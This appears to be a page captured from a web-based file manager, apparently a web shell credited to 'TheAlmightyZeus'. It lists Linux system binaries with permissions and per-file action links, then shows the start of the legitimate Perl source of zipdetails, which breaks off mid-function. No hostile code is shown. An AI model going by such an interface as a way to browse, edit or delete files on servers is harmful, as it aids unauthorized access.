shuf 58.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
sieve 31.891 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
skill 30.227 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
slabtop 22.227 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
sleep 42.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
slogin 778.789 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
snice 30.227 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
socat 397.93 KB -rwxr-xr-x 2021-02-03 12:58 R E G D
soelim 46.352 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
sort 115.633 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
splain 18.956 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
split 59.469 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
ss 177.063 KB -rwxr-xr-x 2021-02-05 23:34 R E G D
ssh 778.789 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-add 366.125 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-agent 346.133 KB -rwxr-sr-x 2025-05-08 11:03 R E G D
ssh-argv0 1.421 KB -rwxr-xr-x 2025-04-29 13:14 R E G D
ssh-copy-id 10.693 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-keygen 474.195 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-keyscan 458.227 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
stat 83.188 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
stdbuf 50.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
streamzip 5.392 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
stty 82.938 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
su 70.227 KB -rwsr-xr-x 2024-03-28 10:09 R E G D
sudo 178.32 KB -rwsr-xr-x 2025-06-26 17:03 R E G D
sudoedit 178.32 KB -rwsr-xr-x 2025-06-26 17:03 R E G D
sudoreplay 115.391 KB -rwxr-xr-x 2025-06-26 17:03 R E G D
sum 46.883 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
sync 38.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
systemctl 1.02 MB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd 1.66 MB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-analyze 1.62 MB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-ask-password 14.328 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-cat 14.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-cgls 18.32 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-cgtop 34.234 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-delta 26.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-detect-virt 14.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-escape 18.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-hwdb 110.516 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-id128 22.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-inhibit 22.234 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-machine-id-setup 22.313 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-mount 50.438 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-notify 18.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-path 18.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-resolve 126.367 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-run 54.414 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-socket-activate 26.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-stdio-bridge 18.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-sysusers 54.523 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-tmpfiles 86.414 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-tty-ask-password-agent 30.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-umount 50.438 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
tabs 18.148 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
tac 106.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tail 75.063 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tar 519.461 KB -rwxr-xr-x 2024-01-20 09:59 R E G D
taskset 34.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
tbl 142.352 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
tcpdump 1.2 MB -rwxr-xr-x 2022-05-22 16:22 R E G D
tee 42.875 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tempfile 14.117 KB -rwxr-xr-x 2020-09-27 17:25 R E G D
test 54.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tic 90.266 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
timedatectl 42.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
timeout 43.406 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tload 14.234 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
toe 22.148 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
top 122.07 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
touch 99.031 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tput 26.18 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
tr 54.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
traceproto 2.817 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceproto.db 2.817 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute-nanog 1.58 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute.db 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute6 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute6.db 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
tree 79.602 KB -rwxr-xr-x 2019-08-06 19:31 R E G D
troff 751.75 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
true 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
truncate 42.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tset 30.156 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
tsort 54.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tty 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tzselect 14.993 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
ubuntu-cloudimg-query 8.383 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
ucf 40.908 KB -rwxr-xr-x 2025-01-16 16:53 R E G D
ucfq 18.913 KB -rwxr-xr-x 2025-01-16 16:53 R E G D
ucfr 10.468 KB -rwxr-xr-x 2025-01-16 16:53 R E G D
udevadm 1021.094 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
ul 22.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
umount 34.219 KB -rwsr-xr-x 2024-03-28 10:09 R E G D
uname 38.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
unattended-upgrade 97.214 KB -rwxr-xr-x 2021-02-19 12:11 R E G D
unattended-upgrades 97.214 KB -rwxr-xr-x 2021-02-19 12:11 R E G D
uncompress 2.291 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
unexpand 42.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
uniq 50.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
unlink 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
unlzma 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
unmkinitramfs 3.59 KB -rwxr-xr-x 2021-01-14 18:04 R E G D
unshare 46.461 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
unxz 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
update-alternatives 58.086 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
update-mime-database 59.188 KB -rwxr-xr-x 2020-10-09 17:26 R E G D
uptime 14.219 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
users 38.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
utmpdump 30.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
uuidgen 14.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
uuidparse 38.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
vcs-run 6.75 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
vdir 143.727 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
vi 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
view 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vim 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vim.basic 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vim.tiny 1.34 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vimdiff 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vimtutor 2.071 KB -rwxr-xr-x 2025-03-30 03:33 R E G D
vmstat 38.242 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
w 22.219 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
wall 34.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
watch 26.602 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
watchgnupg 18.148 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
wc 46.945 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
wdctl 62.25 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
wget 527.281 KB -rwxr-xr-x 2025-04-20 10:39 R E G D
whatis 51.203 KB -rwxr-xr-x 2021-02-19 10:14 R E G D
whereis 30.664 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
which 0.924 KB -rwxr-xr-x 2020-09-27 17:25 R E G D
whiptail 26.703 KB -rwxr-xr-x 2020-12-08 01:18 R E G D
who 58.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
whoami 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
write 22.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
write-mime-multipart 3.514 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
write.ul 22.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
wsrep_sst_backup 2.394 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_common 66.822 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_mariabackup 49.47 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_mysqldump 8.088 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_rsync 29.723 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_rsync_wan 29.723 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
x86_64 26.5 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
xargs 74.367 KB -rwxr-xr-x 2021-01-09 17:36 R E G D
xsubpp 5.043 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
xxd 18.117 KB -rwxr-xr-x 2025-03-30 03:33 R E G D
xz 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzcat 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzcmp 6.858 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzdiff 6.858 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzegrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzfgrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzgrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzless 1.757 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzmore 2.111 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
yes 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
ypdomainname 22.07 KB -rwxr-xr-x 2019-11-07 11:31 R E G D
zcat 1.938 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zcmp 1.639 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zdiff 5.76 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zdump 22.398 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
zegrep 0.028 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zfgrep 0.028 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zforce 2.032 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zgrep 7.86 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zipdetails 50.038 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
zless 2.154 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zmore 1.799 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
znew 4.47 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
REQUEST EXIT
©TheAlmightyZeus
#!/usr/bin/perl eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' if $running_under_some_shell; #!/usr/bin/perl # zipdetails # # Display info on the contents of a Zip file # BEGIN { pop @INC if $INC[-1] eq '.' } use strict; use warnings ; use IO::File; use Encode; # Compression types use constant ZIP_CM_STORE => 0 ; use constant ZIP_CM_IMPLODE => 6 ; use constant ZIP_CM_DEFLATE => 8 ; use constant ZIP_CM_BZIP2 => 12 ; use constant ZIP_CM_LZMA => 14 ; use constant ZIP_CM_PPMD => 98 ; # General Purpose Flag use constant ZIP_GP_FLAG_ENCRYPTED_MASK => (1 << 0) ; use constant ZIP_GP_FLAG_STREAMING_MASK => (1 << 3) ; use constant ZIP_GP_FLAG_PATCHED_MASK => (1 << 5) ; use constant ZIP_GP_FLAG_STRONG_ENCRYPTED_MASK => (1 << 6) ; use constant ZIP_GP_FLAG_LZMA_EOS_PRESENT => (1 << 1) ; use constant ZIP_GP_FLAG_LANGUAGE_ENCODING => (1 << 11) ; # Internal File Attributes use constant ZIP_IFA_TEXT_MASK => 1; # Signatures for each of the headers use constant ZIP_LOCAL_HDR_SIG => 0x04034b50; use constant ZIP_DATA_HDR_SIG => 0x08074b50; use constant ZIP_CENTRAL_HDR_SIG => 0x02014b50; use constant ZIP_END_CENTRAL_HDR_SIG => 0x06054b50; use constant ZIP64_END_CENTRAL_REC_HDR_SIG => 0x06064b50; use constant ZIP64_END_CENTRAL_LOC_HDR_SIG => 0x07064b50; use constant ZIP64_ARCHIVE_EXTRA_SIG => 0x08064b50; use constant ZIP64_DIGITAL_SIGNATURE_SIG => 0x05054b50; use constant ZIP_ARCHIVE_EXTRA_DATA_RECORD_SIG => 0x08064b50; # Extra sizes use constant ZIP_EXTRA_HEADER_SIZE => 2 ; use constant ZIP_EXTRA_MAX_SIZE => 0xFFFF ; use constant ZIP_EXTRA_SUBFIELD_ID_SIZE => 2 ; use constant ZIP_EXTRA_SUBFIELD_LEN_SIZE => 2 ; use constant ZIP_EXTRA_SUBFIELD_HEADER_SIZE => ZIP_EXTRA_SUBFIELD_ID_SIZE + ZIP_EXTRA_SUBFIELD_LEN_SIZE; use constant ZIP_EXTRA_SUBFIELD_MAX_SIZE => ZIP_EXTRA_MAX_SIZE - ZIP_EXTRA_SUBFIELD_HEADER_SIZE; my %ZIP_CompressionMethods = ( 0 => 'Stored', 1 => 'Shrunk', 2 => 'Reduced compression factor 1', 3 => 'Reduced compression factor 2', 4 => 'Reduced compression factor 3', 5 => 'Reduced compression factor 4', 6 => 'Imploded', 7 => 'Reserved for Tokenizing compression algorithm', 8 => 'Deflated', 9 => 'Enhanced Deflating using Deflate64(tm)', 10 => 'PKWARE Data Compression Library Imploding', 11 => 'Reserved by PKWARE', 12 => 'BZIP2 ', 13 => 'Reserved by PKWARE', 14 => 'LZMA', 15 => 'Reserved by PKWARE', 16 => 'Reserved by PKWARE', 17 => 'Reserved by PKWARE', 18 => 'File is compressed using IBM TERSE (new)', 19 => 'IBM LZ77 z Architecture (PFS)', 95 => 'XZ', 96 => 'WinZip JPEG Compression', 97 => 'WavPack compressed data', 98 => 'PPMd version I, Rev 1', 99 => 'AES Encryption', ); my %OS_Lookup = ( 0 => "MS-DOS", 1 => "Amiga", 2 => "OpenVMS", 3 => "Unix", 4 => "VM/CMS", 5 => "Atari ST", 6 => "HPFS (OS/2, NT 3.x)", 7 => "Macintosh", 8 => "Z-System", 9 => "CP/M", 10 => "Windoxs NTFS or TOPS-20", 11 => "MVS or NTFS", 12 => "VSE or SMS/QDOS", 13 => "Acorn RISC OS", 14 => "VFAT", 15 => "alternate MVS", 16 => "BeOS", 17 => "Tandem", 18 => "OS/400", 19 => "OS/X (Darwin)", 30 => "AtheOS/Syllable", ); my %Lookup = ( ZIP_LOCAL_HDR_SIG, \&LocalHeader, ZIP_DATA_HDR_SIG, \&DataHeader, ZIP_CENTRAL_HDR_SIG, \&CentralHeader, ZIP_END_CENTRAL_HDR_SIG, \&EndCentralHeader, ZIP64_END_CENTRAL_REC_HDR_SIG, \&Zip64EndCentralHeader, ZIP64_END_CENTRAL_LOC_HDR_SIG, \&Zip64EndCentralLocator, # TODO - Archive Encryption Headers #ZIP_ARCHIVE_EXTRA_DATA_RECORD_SIG ); my %Extras = ( 0x0001, ['ZIP64', \&decode_Zip64], 0x0007, ['AV Info', undef], 0x0008, ['Extended Language Encoding', undef], 0x0009, ['OS/2 extended attributes', undef], 0x000a, ['NTFS FileTimes', \&decode_NTFS_Filetimes], 0x000c, ['OpenVMS', undef], 0x000d, ['Unix', undef], 0x000e, ['Stream & Fork Descriptors', undef], 0x000f, ['Patch Descriptor', undef], 0x0014, ['PKCS#7 Store for X.509 Certificates', undef], 0x0015, ['X.509 Certificate ID and Signature for individual file', undef], 0x0016, ['X.509 Certificate ID for Central Directory', undef], 0x0017, ['Strong Encryption Header', undef], 0x0018, ['Record Management Controls', undef], 0x0019, ['PKCS#7 Encryption Recipient Certificate List', undef], # The Header ID mappings defined by Info-ZIP and third parties are: 0x0065, ['IBM S/390 attributes - uncompressed', \&decodeMVS], 0x0066, ['IBM S/390 attributes - compressed', undef], 0x07c8, ['Info-ZIP Macintosh (old, J. Lee)', undef], 0x2605, ['ZipIt Macintosh (first version)', undef], 0x2705, ['ZipIt Macintosh v 1.3.5 and newer (w/o full filename)', undef], 0x2805, ['ZipIt Macintosh v 1.3.5 and newer ', undef], 0x334d, ["Info-ZIP Macintosh (new, D. Haase's 'Mac3' field)", undef], 0x4154, ['Tandem NSK', undef], 0x4341, ['Acorn/SparkFS (David Pilling)', undef], 0x4453, ['Windows NT security descriptor', \&decode_NT_security], 0x4690, ['POSZIP 4690', undef], 0x4704, ['VM/CMS', undef], 0x470f, ['MVS', undef], 0x4854, ['Theos, old inofficial port', undef], 0x4b46, ['FWKCS MD5 (see below)', undef], 0x4c41, ['OS/2 access control list (text ACL)', undef], 0x4d49, ['Info-ZIP OpenVMS (obsolete)', undef], 0x4d63, ['Macintosh SmartZIP, by Macro Bambini', undef], 0x4f4c, ['Xceed original location extra field', undef], 0x5356, ['AOS/VS (binary ACL)', undef], 0x5455, ['Extended Timestamp', \&decode_UT], 0x554e, ['Xceed unicode extra field', \&decode_Xceed_unicode], 0x5855, ['Info-ZIP Unix (original; also OS/2, NT, etc.)', \&decode_UX], 0x5a4c, ['ZipArchive Unicode Filename', undef], 0x5a4d, ['ZipArchive Offsets Array', undef], 0x6375, ['Info-ZIP Unicode Comment', \&decode_up ], 0x6542, ['BeOS (BeBox, PowerMac, etc.)', undef], 0x6854, ['Theos', undef], 0x7075, ['Info-ZIP Unicode Path', \&decode_up ], 0x756e, ['ASi Unix', undef], 0x7441, ['AtheOS (AtheOS/Syllable attributes)', undef], 0x7855, ['Unix Extra type 2', \&decode_Ux], 0x7875, ['Unix Extra Type 3', \&decode_ux], 0x9901, ['AES Encryption', \&decode_AES], 0xa11e, ['Data Stream Alignment', undef], 0xA220, ['Open Packaging Growth Hint', undef ], 0xCAFE, ['Java Executable', \&decode_Java_exe], 0xfb4a, ['SMS/QDOS', undef], ); my $VERSION = "1.11" ; my $FH; my $ZIP64 = 0 ; my $NIBBLES = 8; my $LocalHeaderCount = 0; my $CentralHeaderCount = 0; my $START; my $OFFSET = new U64 0; my $TRAILING = 0 ; my $PAYLOADLIMIT = 256; #new U64 256; my $ZERO = new U64 0 ; sub prOff { my $offset = shift; my $s = offset($OFFSET); $OFFSET->add($offset); return $s; } sub offset { my $v = shift ; if (ref $v eq 'U64') { my $hi = $v->getHigh(); my $lo = $v->getLow(); if ($hi) { my $hiNib = $NIBBLES - 8 ; sprintf("%0${hiNib}X", $hi) . sprintf("%08X", $lo); } else { sprintf("%0${NIBBLES}X", $lo); } } else { sprintf("%0${NIBBLES}X", $v); } } my ($OFF, $LENGTH, $CONTENT, $TEXT, $VALUE) ; my $FMT1 ; my $FMT2 ; sub setupFormat { my $wantVerbose = shift ; my $nibbles = shift; my $width = '@' . ('>' x ($nibbles -1)); my $space = " " x length($width); my $fmt ; if ($wantVerbose) { $FMT1 = " format STDOUT = $width $width ^<<<<<<<<<<<^<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< \$OFF, \$LENGTH, \$CONTENT, \$TEXT, \$VALUE $space $space ^<<<<<<<<<<<^<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<~~ \$CONTENT, \$TEXT, \$VALUE . "; $FMT2 = " format STDOUT = $width $width ^<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< \$OFF, \$LENGTH, \$CONTENT, \$TEXT, \$VALUE $space $space ^<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<~~ \$CONTENT, \$TEXT, \$VALUE . " ; } else { $FMT1 = " format STDOUT = $width ^<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< \$OFF, \$TEXT, \$VALUE $space ^<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<~~ \$TEXT, \$VALUE . "; $FMT2 = " format STDOUT = $width ^<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< \$OFF, \$TEXT, \$VALUE $space ^<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<~~ \$TEXT, \$VALUE . " ; } eval "$FMT1"; $| = 1; } sub mySpr { my $format = shift ; return "" if ! defined $format; return $format unless @_ ; return sprintf $format, @_ ; } sub out0 { my $size = shift; my $text = shift; my $format = shift; $OFF = prOff($size); $LENGTH = offset($size) ; $CONTENT = '...'; $TEXT = $text; $VALUE = mySpr $format, @_; write; skip($FH, $size); } sub xDump { my $input = shift; $input =~ tr/\0-\37\177-\377/./; return $input; } sub hexDump { my $input = shift; my $out = unpack('H*', $input) ; $out =~ s#(..)# $1#g ; $out =~ s/^ //; $out = uc $out; return $out; } sub out { my $data = shift; my $text = shift; my $format = shift; my $size = length($data) ; $OFF = prOff($size); $LENGTH = offset($size) ; $CONTENT = hexDump($data); $TEXT = $text; $VALUE = mySpr $format, @_; no warnings; write; } sub out1 { my $text = shift; my $format = shift; $OFF = ''; $LENGTH = '' ; $CONTENT = ''; $TEXT = $text; $VALUE = mySpr $format, @_; write; } sub out2 { my $data = shift ; my $text = shift ; my $format = shift; my $size = length($data) ; $OFF = prOff($size); $LENGTH = offset($size); $CONTENT = hexDump($data); $TEXT = $text; $VALUE = mySpr $format, @_; no warnings; eval "$FMT2"; write ; eval "$FMT1"; } sub Value { my $letter = shift; my @value = @_; if ($letter eq 'C') { return Value_C(@value) } elsif ($letter eq 'v') { return Value_v(@value) } elsif ($letter eq 'V') { return Value_V(@value) } elsif ($letter eq 'VV') { return Value_VV(@value) } } sub outer { my $name = shift ; my $unpack = shift ; my $size = shift ; my $cb1 = shift ; my $cb2 = shift ; myRead(my $buff, $size); my (@value) = unpack $unpack, $buff; my $hex = Value($unpack, @value); if (defined $cb1) { my $v ; if (ref $cb1 eq 'CODE') { $v = $cb1->(@value) ; } else { $v = $cb1 ; } $v = "'" . $v unless $v =~ /^'/; $v .= "'" unless $v =~ /'$/; $hex .= " $v" ; } out $buff, $name, $hex ; $cb2->(@value) if defined $cb2 ; return $value[0]; } sub out_C { my $name = shift ; my $cb1 = shift ; my $cb2 = shift ; outer($name, 'C', 1, $cb1, $cb2); } sub out_v { my $name = shift ; my $cb1 = shift ; my $cb2 = shift ; outer($name, 'v', 2, $cb1, $cb2); } sub out_V { my $name = shift ; my $cb1 = shift ; my $cb2 = shift ; outer($name, 'V', 4, $cb1, $cb2); } sub out_VV { my $name = shift ; my $cb1 = shift ; my $cb2 = shift ; outer($name, 'VV', 8, $cb1, $cb2); } # sub outSomeData # { # my $size = shift; # my $message = shift; # my $size64 = U64::mkU64($size); # if ($size64->gt($ZERO)) { # my $size32 = $size64->getLow(); # if ($size64->gt($PAYLOADLIMIT) ) { # out0 $size32, $message; # } else { # myRead(my $buffer, $size32 ); # out $buffer, $message, xDump $buffer ; # } # } # } sub outSomeData { my $size = shift; my $message = shift; if ($size > 0) { if ($size > $PAYLOADLIMIT) { my $before = $FH->tell(); out0 $size, $message; # printf "outSomeData %X %X $size %X\n", $before, $FH->tell(), $size; } else { myRead(my $buffer, $size ); out $buffer, $message, xDump $buffer ; } } } sub unpackValue_C { Value_v(unpack "C", $_[0]); } sub Value_C { sprintf "%02X", $_[0]; } sub unpackValue_v { Value_v(unpack "v", $_[0]); } sub Value_v { sprintf "%04X", $_[0]; } sub unpackValue_V { Value_V(unpack "V", $_[0]); } sub Value_V { my $v = defined $_[0] ? $_[0] : 0; sprintf "%08X", $v; } sub unpackValue_VV { my ($lo, $hi) = unpack ("V V", $_[0]); Value_VV($lo, $hi); } sub Value_U64 { my $u64 = shift ; Value_VV($u64->getLow(), $u64->getHigh()); } sub Value_VV { my $lo = defined $_[0] ? $_[0] : 0; my $hi = defined $_[1] ? $_[1] : 0; if ($hi == 0) { sprintf "%016X", $lo; } else { sprintf("%08X", $hi) . sprintf "%08X", $lo; } } sub Value_VV64 { my $buffer = shift; # This needs perl 5.10 # return unpack "Q<", $buffer; my ($lo, $hi) = unpack ("V V" , $buffer); no warnings 'uninitialized'; return $hi * (0xFFFFFFFF+1) + $lo; } sub read_U64 { my $b ; myRead($b, 8); my ($lo, $hi) = unpack ("V V" , $b); no warnings 'uninitialized'; return ($b, new U64 $hi, $lo); } sub read_VV { my $b ; myRead($b, 8); my ($lo, $hi) = unpack ("V V" , $b); no warnings 'uninitialized'; return ($b, $hi * (0xFFFFFFFF+1) + $lo); } sub read_V { my $b ; myRead($b, 4); return ($b, unpack ("V", $b)); } sub read_v { my $b ; myRead($b, 2); return ($b, unpack "v", $b); } sub read_C { my $b ; myRead($b, 1); return ($b, unpack "C", $b); } my $opt_verbose = 0; while (@ARGV && $ARGV[0] =~ /^-/) { my $opt = shift; if ($opt =~ /^-h/i) { Usage(); exit; } elsif ($opt =~ /^-v/i) { $opt_verbose = 1; } else { Usage(); } } Usage() unless @ARGV == 1; my $filename = shift @ARGV; die "$filename does not exist\n" unless -e $filename ; die "$filename not a standard file\n" unless -f $filename ; $FH = new IO::File "<$filename" or die "Cannot open $filename: $!\n"; my $FILELEN = -s $filename ; $TRAILING = -s $filename ; $NIBBLES = U64::nibbles(-s $filename) ; #$NIBBLES = int ($NIBBLES / 4) + ( ($NIBBLES % 4) ? 1 : 0 ); #$NIBBLES = 4 * $NIBBLES; # Minimum of 4 nibbles $NIBBLES = 4 if $NIBBLES < 4 ; die "$filename too short to be a zip file\n" if $FILELEN < 22 ; setupFormat($opt_verbose, $NIBBLES); if(0) { # Sanity check that this is a Zip file my ($buffer, $signature) = read_V(); warn "$filename doesn't look like a zip file\n" if $signature != ZIP_LOCAL_HDR_SIG ; $FH->seek(0, SEEK_SET) ; } our ($CdExists, @CentralDirectory) = scanCentralDirectory($FH); die "No Central Directory records found\n" if ! $CdExists ; $OFFSET->reset(); $FH->seek(0, SEEK_SET) ; outSomeData($START, "PREFIX DATA") if defined $START && $START > 0 ; while (1) { last if $FH->eof(); my $here = $FH->tell(); if ($here >= $TRAILING) { print "\n" ; outSomeData($FILELEN - $TRAILING, "TRAILING DATA"); last; } my ($buffer, $signature) = read_V(); my $handler = $Lookup{$signature}; if (!defined $handler) { if (@CentralDirectory) { # Should be at offset that central directory says my $locOffset = $CentralDirectory[0][0]; my $delta = $locOffset - $here ; if ($here < $locOffset ) { for (0 .. 3) { $FH->ungetc(ord(substr($buffer, $_, 1))) } outSomeData($delta, "UNEXPECTED PADDING"); next; } } printf "\n\nUnexpecded END at offset %08X, value %s\n", $here, Value_V($signature); last; } $ZIP64 = 0 if $signature != ZIP_DATA_HDR_SIG ; $handler->($signature, $buffer); } print "Done\n"; exit ; sub compressionMethod { my $id = shift ; Value_v($id) . " '" . ($ZIP_CompressionMethods{$id} || "Unknown Method") . "'" ; } sub LocalHeader { my $signature = shift ; my $data = shift ; print "\n"; ++ $LocalHeaderCount; out $data, "LOCAL HEADER #" . sprintf("%X", $LocalHeaderCount) , Value_V($signature); my $buffer; my ($loc, $CDcompressedLength) = @{ shift 